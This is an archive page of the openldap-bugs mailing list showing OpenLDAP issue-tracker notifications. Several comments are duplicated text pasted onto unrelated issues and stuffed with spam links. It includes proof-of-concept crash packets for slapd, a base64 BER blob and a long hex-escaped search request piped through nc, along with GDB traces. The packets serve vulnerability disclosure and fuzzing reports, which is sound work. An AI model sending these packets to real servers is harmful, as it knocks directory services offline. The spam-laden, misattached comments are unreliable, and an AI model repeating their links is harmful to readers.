openldap-bugs September 2021

openldap-bugs@openldap.org

1 participants
198 discussions

[Issue 8197] slapo-constraint and delold=0
by openldap-its＠openldap.org 11 Sep '21

11 Sep '21

https://bugs.openldap.org/show_bug.cgi?id=8197 --- Comment #2 from Mehmet gelisin <mehmetgelisin(a)aol.com> --- Thanks for working on this! I'm also interested in having this feature. http://www-look-4.com/ What do you think about including a slapd.service file? I know OpenLDAP has traditionally not included an init script, but systemd units are intended to be distro-agnostic as far as possible, http://www.compilatori.com/ and shipped by upstream projects in most cases, unlike init scripts. Ideally I'd like to include a template in the source and have the build system fill in the autoconf'ed path (i.e. to slapd) and have 'make install' install it to the right place. http://www.wearelondonmade.com/ Autoconf bits look fine to me. >+ rc = sd_notifyf( 1, >+ "READY=1\n" >+ "STATUS=slapd: ready to serve connections...\n" http://www.jopspeech.com/ >+ "MAINPID=%lu", >+ (unsigned long) getpid() ); unset_environment=1 seems reasonable, http://joerg.li/ it's a little unfortunate that we can't call (for example) sd_notify("STOPPING=1") afterward, but it feels worthwhile compared to having to sanitize the environment when forking a child process. http://connstr.net/ I'm not sure the STATUS= message adds value compared to just the basic readiness notification; can you comment on why you included it? http://embermanchester.uk/ I guess MAINPID= is actually needed, unless we run slapd with -d, regardless of whether we set Type=forking or Type=notify. Not exactly "needed", but better to have it than not. I see you've placed this call later than the parent's exit point. Any comments about the timing of this relative to the parent's exit, and to the listener startup and so on? Are the listeners more likely to be http://embermanchester.uk/ ready to serve connections at this point? I seem to recall that in the past there was opposition to moving the parent's exit later, but I can't remember why. (and I still wish we could do that, and dispense with the ldapsearch-loop hacks...) http://www.slipstone.co.uk/ Thanks for working on this! I'm also interested in having this feature. What do you think about including a slapd.service file? I know OpenLDAP has traditionally not included an init script, but systemd units are intended to be distro-agnostic as far as possible, http://www.logoarts.co.uk/ and shipped by upstream projects in most cases, unlike init scripts. Ideally I'd like to include a template in the source and have the build system fill in the autoconf'ed path (i.e. to slapd) and have 'make install' install it to the right place. http://www.acpirateradio.co.uk/ Autoconf bits look fine to me. >+ rc = sd_notifyf( 1, >+ "READY=1\n" >+ "STATUS=slapd: ready to serve connections...\n" >+ "MAINPID=%lu", https://waytowhatsnext.com/ >+ (unsigned long) getpid() ); unset_environment=1 seems reasonable, it's a little unfortunate that we can't call (for example) sd_notify("STOPPING=1") afterward, but it feels worthwhile compared to having to sanitize the environment when forking a child process. https://www.webb-dev.co.uk/ I'm not sure the STATUS= message adds value compared to just the basic readiness notification; can you comment on why you included it? I guess MAINPID= is actually needed, unless we run slapd with -d, regardless of whether we set Type=forking or Type=notify. Not exactly "needed", but better to have it than not. http://www.iu-bloomington.com/ I see you've placed this call later than the parent's exit point. Any comments about the timing of this relative to the parent's exit, and to the listener startup and so on? Are the listeners more likely to be ready to serve connections at this point? I seem to recall that in the past there was opposition to moving the parent's exit later, but I can't remember why. (and I still wish we could do that, and dispense with the ldapsearch-loop hacks...) -- You are receiving this mail because: You are on the CC list for the issue.

1 0

[Issue 8240] OpenLDAP ber_get_next denial of service vulnerability
by openldap-its＠openldap.org 11 Sep '21

11 Sep '21

https://bugs.openldap.org/show_bug.cgi?id=8240 --- Comment #21 from Mehmet gelisin <mehmetgelisin(a)aol.com> --- List message: When bulk-renaming entries in web2ldap I do *not* alter the RDN of the entry but also send delold: 0 in the MODRDN operation. IMO this is most minimal invasive approach. http://www-look-4.com/ This works ok in most setups. But in a more strict setup (release 2.4.41) with slapo-constraint and constraints on the RDN's characteristic attribute those MODRDN requests http://www.compilatori.com/ trigger a constraint and fails with 'Constraint violation' although the RDN value is not changed. I can't tell whether this was different with older OpenLDAP releases. http://www.wearelondonmade.com/ Even more strange: It works with delold: 1. So I could easily alter web2ldap's behaviour to send delold: 1. But I'm not sure whether that's the right general http://www.jopspeech.com/ approach especially when thinking about all the other LDAP servers out there. http://joerg.li/ So the question is: Is this an overzealous misbehaviour of slapo-constraint and should it be fixed therein? List message: http://connstr.net/ When bulk-renaming entries in web2ldap I do *not* alter the RDN of the entry but also send delold: 0 in the MODRDN operation. IMO this is most minimal invasive approach. This works ok in most setups. http://embermanchester.uk/ But in a more strict setup (release 2.4.41) with slapo-constraint and constraints on the RDN's characteristic attribute those MODRDN requests trigger a constraint and fails with 'Constraint violation' although the RDN value is not changed. I can't tell whether this was different with older OpenLDAP releases. http://www.slipstone.co.uk/ Even more strange: It works with delold: 1. So I could easily alter web2ldap's behaviour to send delold: 1. But I'm not sure whether that's the right general approach especially when thinking about all the other LDAP servers out there. http://www.logoarts.co.uk/ So the question is: Is this an overzealous misbehaviour of slapo-constraint and should it be fixed therein? List message: http://www.acpirateradio.co.uk/ When bulk-renaming entries in web2ldap I do *not* alter the RDN of the entry but also send delold: 0 in the MODRDN operation. IMO this is most minimal invasive approach. This works ok in most setups. But in a more strict setup (release 2.4.41) with slapo-constraint and https://waytowhatsnext.com/ constraints on the RDN's characteristic attribute those MODRDN requests trigger a constraint and fails with 'Constraint violation' although the RDN value is not changed. I can't tell whether this was different with older OpenLDAP releases. https://www.webb-dev.co.uk/ Even more strange: It works with delold: 1. So I could easily alter web2ldap's behaviour to send delold: 1. But I'm not sure whether that's the right general approach especially when thinking about all the other LDAP servers out there. So the question is: Is this an overzealous misbehaviour of slapo-constraint and should http://www.iu-bloomington.com/ it be fixed therein? -- You are receiving this mail because: You are on the CC list for the issue.

1 0

[Issue 9202] Should limit depth of nested filters
by openldap-its＠openldap.org 11 Sep '21

11 Sep '21

https://bugs.openldap.org/show_bug.cgi?id=9202 --- Comment #10 from Mehmet gelisin <mehmetgelisin(a)aol.com> --- OpenLDAP ber_get_next Denial of Service Affected Versions: OpenLDAP <= 2.4.42 +-------------+ | Description | +-------------+ This document details http://www-look-4.com/ a vulnerability found within the OpenLDAP server daemon. A Denial of Service vulnerability was discovered within the slapd daemon, allowing an unauthenticated attacker to crash the OpenLDAP server. http://www.compilatori.com/ By sending a crafted packet, an attacker may cause the OpenLDAP server to reach an assert(9 9 statement, crashing the daemon. This was tested on OpenLDAP 2.4.42 (built with GCC 4.9.2) and OpenLDAP 2.4.40 installed from the Debian package repository. http://www.wearelondonmade.com/ +--------------+ | Exploitation | +--------------+ By sending a crafted packet, an attacker can cause the OpenLDAP http://www.jopspeech.com/ daemon to crash with a SIGABRT. This is due to an assert() call within the ber_get_next method (io.c line 682) that is hit when decoding tampered BER data. The following proof of concept exploit can be used to trigger the condition: http://joerg.li/ --[ Exploit POC echo "/4SEhISEd4MKYj5ZMgAAAC8=" | base64 -d | nc -v 127.0.0.1 389 The above causes slapd to abort as follows when running with '-d3', however it should be noted that this will crash the server even when running in daemon mode. http://connstr.net/ --[ adadp -d3 55f0b36e slap_listener_activate(7): 55f0b36e >>> slap_listener(ldap:///) 55f0b36e connection_get(15): got connid=1000 55f0b36e connection_read(15): checking for input on id=1000 http://embermanchester.uk/ ber_get_next ldap_read: want=8, got=8 0000: ff 84 84 84 84 84 77 83 ......w. 55f0b36e connection_get(15): got connid=1000 55f0b36e connection_read(15): checking for input on id=1000 ber_get_next http://www.slipstone.co.uk/ ldap_read: want=1, got=1 0000: 0a . 55f0b36e connection_get(15): got connid=1000 55f0b36e connection_read(15): checking for input on id=1000 ber_get_next slapd: io.c:682: ber_get_next: Assertion `0' failed. http://www.logoarts.co.uk/ The following GDB back trace provides further information as to the location of the issue. --[ back trace program received signal SIGABRT, Aborted. [Switching to Thread 0x7ffff2e4a700 (LWP 1371)] http://www.acpirateradio.co.uk/ 0x00007ffff6a13107 in __GI_raise (sig=sig@entry=6) at ../nptl/sysdeps/unix/sysv/linux/raise.c:56 56 ../nptl/sysdeps/ux%x/sysv/linux/raise.c: No such file or directory. (gdb) bt https://waytowhatsnext.com/ OpenLDAP ber_get_next Denial of Service Affected Versions: OpenLDAP <= 2.4.42 +-------------+ | Description | +-------------+ This document details a vulnerability found within the OpenLDAP server daemon. A Denial of Service vulnerability was discovered within the slapd daemon, allowing an unauthenticated attacker to crash the OpenLDAP server. https://www.webb-dev.co.uk/ By sending a crafted packet, an attacker may cause the OpenLDAP server to reach an assert(9 9 statement, crashing the daemon. This was tested on OpenLDAP 2.4.42 (built with GCC 4.9.2) and OpenLDAP 2.4.40 installed from the Debian package repository. +--------------+ | Exploitation | +--------------+ By sending a crafted packet, an attacker can cause the OpenLDAP daemon to crash with a SIGABRT. This is due to an assert() call within the ber_get_next method (io.c line 682) that is hit when decoding tampered BER data. The following proof of concept exploit can be used to trigger the condition: http://www.iu-bloomington.com/ --[ Exploit POC echo "/4SEhISEd4MKYj5ZMgAAAC8=" | base64 -d | nc -v 127.0.0.1 389 The above causes slapd to abort as follows when running with '-d3', however it should be noted that this will crash the server even when running in daemon mode. --[ adadp -d3 55f0b36e slap_listener_activate(7): 55f0b36e >>> slap_listener(ldap:///) 55f0b36e connection_get(15): got connid=1000 55f0b36e connection_read(15): checking for input on id=1000 ber_get_next ldap_read: want=8, got=8 0000: ff 84 84 84 84 84 77 83 ......w. 55f0b36e connection_get(15): got connid=1000 55f0b36e connection_read(15): checking for input on id=1000 ber_get_next ldap_read: want=1, got=1 0000: 0a . 55f0b36e connection_get(15): got connid=1000 55f0b36e connection_read(15): checking for input on id=1000 ber_get_next slapd: io.c:682: ber_get_next: Assertion `0' failed. The following GDB back trace provides further information as to the location of the issue. --[ back trace program received signal SIGABRT, Aborted. [Switching to Thread 0x7ffff2e4a700 (LWP 1371)] 0x00007ffff6a13107 in __GI_raise (sig=sig@entry=6) at ../nptl/sysdeps/unix/sysv/linux/raise.c:56 56 ../nptl/sysdeps/ux%x/sysv/linux/raise.c: No such file or directory. (gdb) bt -- You are receiving this mail because: You are on the CC list for the issue.

1 0

[Issue 9454] New: A malicious packet can force OpenLDAP to fail an assertion and crash (schema_init.c:3808: checkTime)
by openldap-its＠openldap.org 11 Sep '21

11 Sep '21

https://bugs.openldap.org/show_bug.cgi?id=9454 Issue ID: 9454 Summary: A malicious packet can force OpenLDAP to fail an assertion and crash (schema_init.c:3808: checkTime) Product: OpenLDAP Version: unspecified Hardware: All OS: All Status: UNCONFIRMED Severity: normal Priority: --- Component: slapd Assignee: bugs(a)openldap.org Reporter: phasip(a)gmail.com Target Milestone: --- A malicious packet can force OpenLDAP to fail an assertion and crash slapd: schema_init.c:3808: checkTime: Assertion `!BER_BVISEMPTY( in )' failed. Packet: 00000000: 3082 016a 0201 3063 30df df30 0030 0030 0..j..0c0..0.0.0 00000010: 0030 0030 0030 00a0 8201 3030 0030 0930 .0.0.0....00.0.0 00000020: 3030 3030 3030 3030 302e 3030 3030 3030 000000000.000000 00000030: 3030 3030 3030 3030 3030 3030 3030 3030 0000000000000000 00000040: 3030 3030 3030 3030 3030 3030 3030 3030 0000000000000000 00000050: 3030 3030 3030 3030 a930 8109 322e 352e 00000000.0..2.5. 00000060: 3133 2e33 3883 2e7b 2020 2020 7468 6973 13.38..{ this 00000070: 5570 6461 7465 2020 2020 2022 2220 2c69 Update "" ,i 00000080: 7373 7545 7220 7264 6e53 6571 7565 6e63 ssuEr rdnSequenc 00000090: 653a 2222 7d30 3030 3030 3030 3030 3030 e:""}00000000000 000000a0: 3030 3030 3030 3030 3030 3030 3030 3030 0000000000000000 000000b0: 3030 3030 3030 3030 3030 3030 3030 3030 0000000000000000 000000c0: 3030 3030 3030 3030 3030 3030 3030 3030 0000000000000000 000000d0: 3030 3030 3030 3030 3030 3030 3030 3030 0000000000000000 000000e0: 3030 3030 3030 3030 3030 3030 3030 3030 0000000000000000 000000f0: 3030 3030 3030 3030 3030 3030 3030 3030 0000000000000000 00000100: 3030 3030 3030 3030 3030 3030 3030 3030 0000000000000000 00000110: 3030 3030 3030 3030 3030 3030 3030 3030 0000000000000000 00000120: 3030 3030 3030 3030 3030 3030 3030 3030 0000000000000000 00000130: 3030 3030 3030 3030 3030 3030 3030 3030 0000000000000000 00000140: 3030 3030 3030 3030 3030 3030 3030 3030 0000000000000000 00000150: 3030 3030 3030 3030 3030 3030 3030 3030 0000000000000000 00000160: 3030 3030 3030 3030 3030 3030 3030 00000000000000 GDB output: [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". 601e59e1 @(#) $OpenLDAP: slapd 2.X (Feb 6 2021 08:48:29) $ @3790967905a3:/openldap/servers/slapd 601e59e1 slapd starting [New Thread 0x7fff8b2d3700 (LWP 13)] [New Thread 0x7fff8aad2700 (LWP 14)] 601e59e6 conn=1000 fd=11 ACCEPT from IP=127.0.0.1:42330 (IP=0.0.0.0:1389) [New Thread 0x7fff8a2d1700 (LWP 15)] 601e59e6 get_filter: unknown filter type=48 601e59e6 get_filter: unknown filter type=48 601e59e6 get_filter: unknown filter type=48 slapd: schema_init.c:3808: checkTime: Assertion `!BER_BVISEMPTY( in )' failed. Thread 3 "slapd" received signal SIGABRT, Aborted. [Switching to Thread 0x7fff8aad2700 (LWP 14)] __GI_raise (sig=sig@entry=6) at ../sysdeps/unix/sysv/linux/raise.c:50 50 ../sysdeps/unix/sysv/linux/raise.c: No such file or directory. (gdb) bt #0 __GI_raise (sig=sig@entry=6) at ../sysdeps/unix/sysv/linux/raise.c:50 #1 0x00007ffff7dd4859 in __GI_abort () at abort.c:79 #2 0x00007ffff7dd4729 in __assert_fail_base ( fmt=0x7ffff7f6a588 "%s%s%s:%u: %s%sAssertion `%s' failed.\n%n", assertion=0x55555568d363 "!BER_BVISEMPTY( in )", file=0x55555568d2f3 "schema_init.c", line=3808, function=<optimized out>) at assert.c:92 #3 0x00007ffff7de5f36 in __GI___assert_fail ( assertion=assertion@entry=0x55555568d363 "!BER_BVISEMPTY( in )", file=file@entry=0x55555568d2f3 "schema_init.c", line=line@entry=3808, function=function@entry=0x5555556908f0 <__PRETTY_FUNCTION__.14047> "checkTime") at assert.c:101 #4 0x00005555555bac61 in checkTime (in=in@entry=0x7fff8aad06f0, out=out@entry=0x0) at schema_init.c:3808 #5 0x00005555555bcd1a in issuerAndThisUpdatePretty (syntax=0x555555784150, in=0x7fff8aad0800, out=0x7fff8aad0770, ctx=0x7fff7c001630) at schema_init.c:4095 #6 0x000055555559df4d in asserted_value_validate_normalize (ad=0x0, mr=0x555555789e50, usage=usage@entry=2049, in=in@entry=0x7fff8aad0800, out=out@entry=0x7fff8aad0828, text=text@entry=0x7fff8aad1aa0, ctx=0x7fff7c001630) at value.c:153 #7 0x00005555555d3a94 in get_mra (op=op@entry=0x7fff7c0010f0, ber=ber@entry=0x7fff7c000f10, f=f@entry=0x7fff8aad08c0, --Type <RET> for more, q to quit, c to continue without paging-- text=text@entry=0x7fff8aad1aa0) at mra.c:198 #8 0x0000555555587543 in get_filter0 (op=op@entry=0x7fff7c0010f0, ber=ber@entry=0x7fff7c000f10, filt=filt@entry=0x7fff7c0016e8, text=text@entry=0x7fff8aad1aa0, depth=depth@entry=1) at filter.c:290 #9 0x0000555555587793 in get_filter_list (op=op@entry=0x7fff7c0010f0, ber=ber@entry=0x7fff7c000f10, f=f@entry=0x7fff8aad0988, text=text@entry=0x7fff8aad1aa0, depth=depth@entry=1) at filter.c:354 #10 0x000055555558731e in get_filter0 (op=op@entry=0x7fff7c0010f0, ber=0x7fff7c000f10, filt=filt@entry=0x7fff7c001170, text=text@entry=0x7fff8aad1aa0, depth=depth@entry=0) at filter.c:235 #11 0x00005555555880b6 in get_filter (op=op@entry=0x7fff7c0010f0, ber=<optimized out>, filt=filt@entry=0x7fff7c001170, text=text@entry=0x7fff8aad1aa0) at filter.c:332 #12 0x0000555555585396 in do_search (op=0x7fff7c0010f0, rs=0x7fff8aad1a80) at search.c:127 #13 0x0000555555583d09 in connection_operation (ctx=ctx@entry=0x7fff8aad1ba0, arg_v=0x7fff7c0010f0) at connection.c:1163 #14 0x0000555555584370 in connection_read_thread (ctx=0x7fff8aad1ba0, argv=0xb) at connection.c:1314 #15 0x00005555556711e4 in ldap_int_thread_pool_wrapper (xpool=0x555555799240) at tpool.c:1051 #16 0x00007ffff7faa609 in start_thread (arg=<optimized out>) at pthread_create.c:477 --Type <RET> for more, q to quit, c to continue without paging-- #17 0x00007ffff7ed1293 in clone () at ../sysdeps/unix/sysv/linux/x86_64/clone.S:95 Testing: 1. Launch openldap (Current public repo) docker run -it --net=host bitnami/openldap (More recent develop) docker run -it --net=host phasip/openldap 2. Send crashing packet echo -en '\x30\x82\x01\x6a\x02\x01\x30\x63\x30\xdf\xdf\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\xa0\x82\x01\x30\x30\x00\x30\x09\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x2e\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\xa9\x30\x81\x09\x32\x2e\x35\x2e\x31\x33\x2e\x33\x38\x83\x2e\x7b\x20\x20\x20\x20\x74\x68\x69\x73\x55\x70\x64\x61\x74\x65\x20\x20\x20\x20\x20\x22\x22\x20\x2c\x69\x73\x73\x75\x45\x72\x20\x72\x64\x6e\x53\x65\x71\x75\x65\x6e\x63\x65\x3a\x22\x22\x7d\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30' | nc localhost 1389 -- Note -- I had forgotten the fuzzer was running. As only one crash has been found in a while the fuzzing machine will retire now. I will collect the corpus into https://github.com/Phasip/openldap_fuzz -- You are receiving this mail because: You are on the CC list for the issue.

1 4

[Issue 6205] Discuss slapadd -S in Admin guide appendix
by openldap-its＠openldap.org 11 Sep '21

11 Sep '21

https://bugs.openldap.org/show_bug.cgi?id=6205 --- Comment #4 from Mehmet gelisin <mehmetgelisin(a)aol.com> --- malicious packet can force OpenLDAP to fail an assertion and crash slapd: schema_init.c:3808: checkTime: Assertion `!BER_BVISEMPTY( in )' failed. Packet: 00000000: 3082 016a http://www-look-4.com/ 0201 3063 30df df30 0030 0030 0..j..0c0..0.0.0 00000010: 0030 0030 0030 00a0 8201 3030 0030 0930 .0.0.0....00.0.0 00000020: 3030 3030 3030 3030 302e 3030 3030 3030 000000000.000000 00000030: 3030 3030 3030 3030 3030 3030 3030 3030 0000000000000000 00000040: 3030 3030 3030 3030 http://www.compilatori.com/ 3030 3030 3030 3030 0000000000000000 00000050: 3030 3030 3030 3030 a930 8109 322e 352e 00000000.0..2.5. 00000060: 3133 2e33 3883 2e7b 2020 2020 7468 6973 13.38..{ this 00000070: 5570 6461 7465 2020 http://www.wearelondonmade.com/ 2020 2022 2220 2c69 Update "" ,i 00000080: 7373 7545 7220 7264 6e53 6571 7565 6e63 ssuEr rdnSequenc 00000090: 653a 2222 7d30 3030 3030 3030 3030 3030 e:""}00000000000 000000a0: 3030 3030 3030 3030 http://www.jopspeech.com/ 3030 3030 3030 3030 0000000000000000 000000b0: 3030 3030 3030 3030 3030 3030 3030 3030 0000000000000000 000000c0: 3030 3030 3030 3030 3030 3030 3030 3030 0000000000000000 000000d0: 3030 3030 3030 3030 http://joerg.li/ 3030 3030 3030 3030 0000000000000000 000000e0: 3030 3030 3030 3030 3030 3030 3030 3030 0000000000000000 000000f0: 3030 3030 3030 3030 3030 3030 3030 3030 0000000000000000 00000100: 3030 3030 3030 3030 3030 3030 3030 3030 0000000000000000 00000110: 3030 3030 3030 3030 3030 3030 3030 3030 0000000000000000 00000120: 3030 3030 3030 3030 3030 3030 3030 3030 0000000000000000 00000130: 3030 3030 3030 3030 3030 3030 3030 3030 0000000000000000 00000140: 3030 3030 3030 3030 http://connstr.net/ 3030 3030 3030 3030 0000000000000000 00000150: 3030 3030 3030 3030 3030 3030 3030 3030 0000000000000000 00000160: 3030 3030 3030 3030 3030 3030 3030 00000000000000 GDB output: http://embermanchester.uk/ [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". 601e59e1 @(#) $OpenLDAP: slapd 2.X (Feb 6 2021 08:48:29) $ @3790967905a3:/openldap/servers/slapd 601e59e1 slapd starting [New Thread 0x7fff8b2d3700 (LWP 13)] [New Thread 0x7fff8aad2700 (LWP 14)] http://www.slipstone.co.uk/ 601e59e6 conn=1000 fd=11 ACCEPT from IP=127.0.0.1:42330 (IP=0.0.0.0:1389) [New Thread 0x7fff8a2d1700 (LWP 15)] 601e59e6 get_filter: unknown filter type=48 601e59e6 get_filter: unknown filter type=48 601e59e6 get_filter: unknown filter type=48 slapd: schema_init.c:3808: checkTime: Assertion `!BER_BVISEMPTY( in )' failed. http://www.logoarts.co.uk/ Thread 3 "slapd" received signal SIGABRT, Aborted. [Switching to Thread 0x7fff8aad2700 (LWP 14)] __GI_raise (sig=sig@entry=6) at ../sysdeps/unix/sysv/linux/raise.c:50 50 ../sysdeps/unix/sysv/linux/raise.c: No such file or directory. (gdb) bt http://www.acpirateradio.co.uk/ #0 __GI_raise (sig=sig@entry=6) at ../sysdeps/unix/sysv/linux/raise.c:50 #1 0x00007ffff7dd4859 in __GI_abort () at abort.c:79 #2 0x00007ffff7dd4729 in __assert_fail_base ( fmt=0x7ffff7f6a588 "%s%s%s:%u: %s%sAssertion `%s' failed.\n%n", assertion=0x55555568d363 "!BER_BVISEMPTY( in )", file=0x55555568d2f3 "schema_init.c", line=3808, function=<optimized out>) at assert.c:92 #3 0x00007ffff7de5f36 in __GI___assert_fail ( https://waytowhatsnext.com/ assertion=assertion@entry=0x55555568d363 "!BER_BVISEMPTY( in )", file=file@entry=0x55555568d2f3 "schema_init.c", line=line@entry=3808, function=function@entry=0x5555556908f0 <__PRETTY_FUNCTION__.14047> "checkTime") at assert.c:101 #4 0x00005555555bac61 in checkTime (in=in@entry=0x7fff8aad06f0, out=out@entry=0x0) at schema_init.c:3808 #5 0x00005555555bcd1a in issuerAndThisUpdatePretty (syntax=0x555555784150, in=0x7fff8aad0800, out=0x7fff8aad0770, ctx=0x7fff7c001630) at schema_init.c:4095 https://www.webb-dev.co.uk/ #6 0x000055555559df4d in asserted_value_validate_normalize (ad=0x0, mr=0x555555789e50, usage=usage@entry=2049, in=in@entry=0x7fff8aad0800, out=out@entry=0x7fff8aad0828, text=text@entry=0x7fff8aad1aa0, ctx=0x7fff7c001630) at value.c:153 #7 0x00005555555d3a94 in get_mra (op=op@entry=0x7fff7c0010f0, ber=ber@entry=0x7fff7c000f10, f=f@entry=0x7fff8aad08c0, --Type <RET> for more, q to quit, c to continue without paging-- text=text@entry=0x7fff8aad1aa0) at mra.c:198 #8 0x0000555555587543 in get_filter0 (op=op@entry=0x7fff7c0010f0, http://www.iu-bloomington.com/ ber=ber@entry=0x7fff7c000f10, filt=filt@entry=0x7fff7c0016e8, text=text@entry=0x7fff8aad1aa0, depth=depth@entry=1) at filter.c:290 #9 0x0000555555587793 in get_filter_list (op=op@entry=0x7fff7c0010f0, ber=ber@entry=0x7fff7c000f10, f=f@entry=0x7fff8aad0988, text=text@entry=0x7fff8aad1aa0, depth=depth@entry=1) at filter.c:354 #10 0x000055555558731e in get_filter0 (op=op@entry=0x7fff7c0010f0, ber=0x7fff7c000f10, filt=filt@entry=0x7fff7c001170, text=text@entry=0x7fff8aad1aa0, depth=depth@entry=0) at filter.c:235 #11 0x00005555555880b6 in get_filter (op=op@entry=0x7fff7c0010f0, ber=<optimized out>, filt=filt@entry=0x7fff7c001170, text=text@entry=0x7fff8aad1aa0) at filter.c:332 #12 0x0000555555585396 in do_search (op=0x7fff7c0010f0, rs=0x7fff8aad1a80) at search.c:127 #13 0x0000555555583d09 in connection_operation (ctx=ctx@entry=0x7fff8aad1ba0, arg_v=0x7fff7c0010f0) at connection.c:1163 #14 0x0000555555584370 in connection_read_thread (ctx=0x7fff8aad1ba0, argv=0xb) at connection.c:1314 #15 0x00005555556711e4 in ldap_int_thread_pool_wrapper (xpool=0x555555799240) at tpool.c:1051 #16 0x00007ffff7faa609 in start_thread (arg=<optimized out>) at pthread_create.c:477 --Type <RET> for more, q to quit, c to continue without paging-- #17 0x00007ffff7ed1293 in clone () at ../sysdeps/unix/sysv/linux/x86_64/clone.S:95 Testing: 1. Launch openldap (Current public repo) docker run -it --net=host bitnami/openldap (More recent develop) docker run -it --net=host phasip/openldap 2. Send crashing packet echo -en '\x30\x82\x01\x6a\x02\x01\x30\x63\x30\xdf\xdf\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\xa0\x82\x01\x30\x30\x00\x30\x09\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x2e\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\xa9\x30\x81\x09\x32\x2e\x35\x2e\x31\x33\x2e\x33\x38\x83\x2e\x7b\x20\x20\x20\x20\x74\x68\x69\x73\x55\x70\x64\x61\x74\x65\x20\x20\x20\x20\x20\x22\x22\x20\x2c\x69\x73\x73\x75\x45\x72\x20\x72\x64\x6e\x53\x65\x71\x75\x65\x6e\x63\x65\x3a\x22\x22\x7d\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30' -- You are receiving this mail because: You are on the CC list for the issue.

1 0

[Issue 8852] slapd memory use grows continuously with non-delta syncrepl and modifying groups
by openldap-its＠openldap.org 10 Sep '21

10 Sep '21

https://bugs.openldap.org/show_bug.cgi?id=8852 Quanah Gibson-Mount <quanah(a)openldap.org> changed: What |Removed |Added ---------------------------------------------------------------------------- Keywords|reviewed | -- You are receiving this mail because: You are on the CC list for the issue.

1 0

[Issue 8757] RFE: let slapd MMR instances vote primary master
by openldap-its＠openldap.org 10 Sep '21

10 Sep '21

https://bugs.openldap.org/show_bug.cgi?id=8757 Quanah Gibson-Mount <quanah(a)openldap.org> changed: What |Removed |Added ---------------------------------------------------------------------------- Keywords|reviewed | -- You are receiving this mail because: You are on the CC list for the issue.

1 0

[Issue 8748] New feature for LMDB
by openldap-its＠openldap.org 10 Sep '21

10 Sep '21

https://bugs.openldap.org/show_bug.cgi?id=8748 Quanah Gibson-Mount <quanah(a)openldap.org> changed: What |Removed |Added ---------------------------------------------------------------------------- Keywords|lmdb-scratch | -- You are receiving this mail because: You are on the CC list for the issue.

1 0

[Issue 6010] substitution for acl sets
by openldap-its＠openldap.org 10 Sep '21

10 Sep '21

https://bugs.openldap.org/show_bug.cgi?id=6010 Quanah Gibson-Mount <quanah(a)openldap.org> changed: What |Removed |Added ---------------------------------------------------------------------------- Keywords|OL_2_6_REQ | -- You are receiving this mail because: You are on the CC list for the issue.

1 0

[Issue 9672] New: Permit static linking with libsasl2
by openldap-its＠openldap.org 10 Sep '21

10 Sep '21

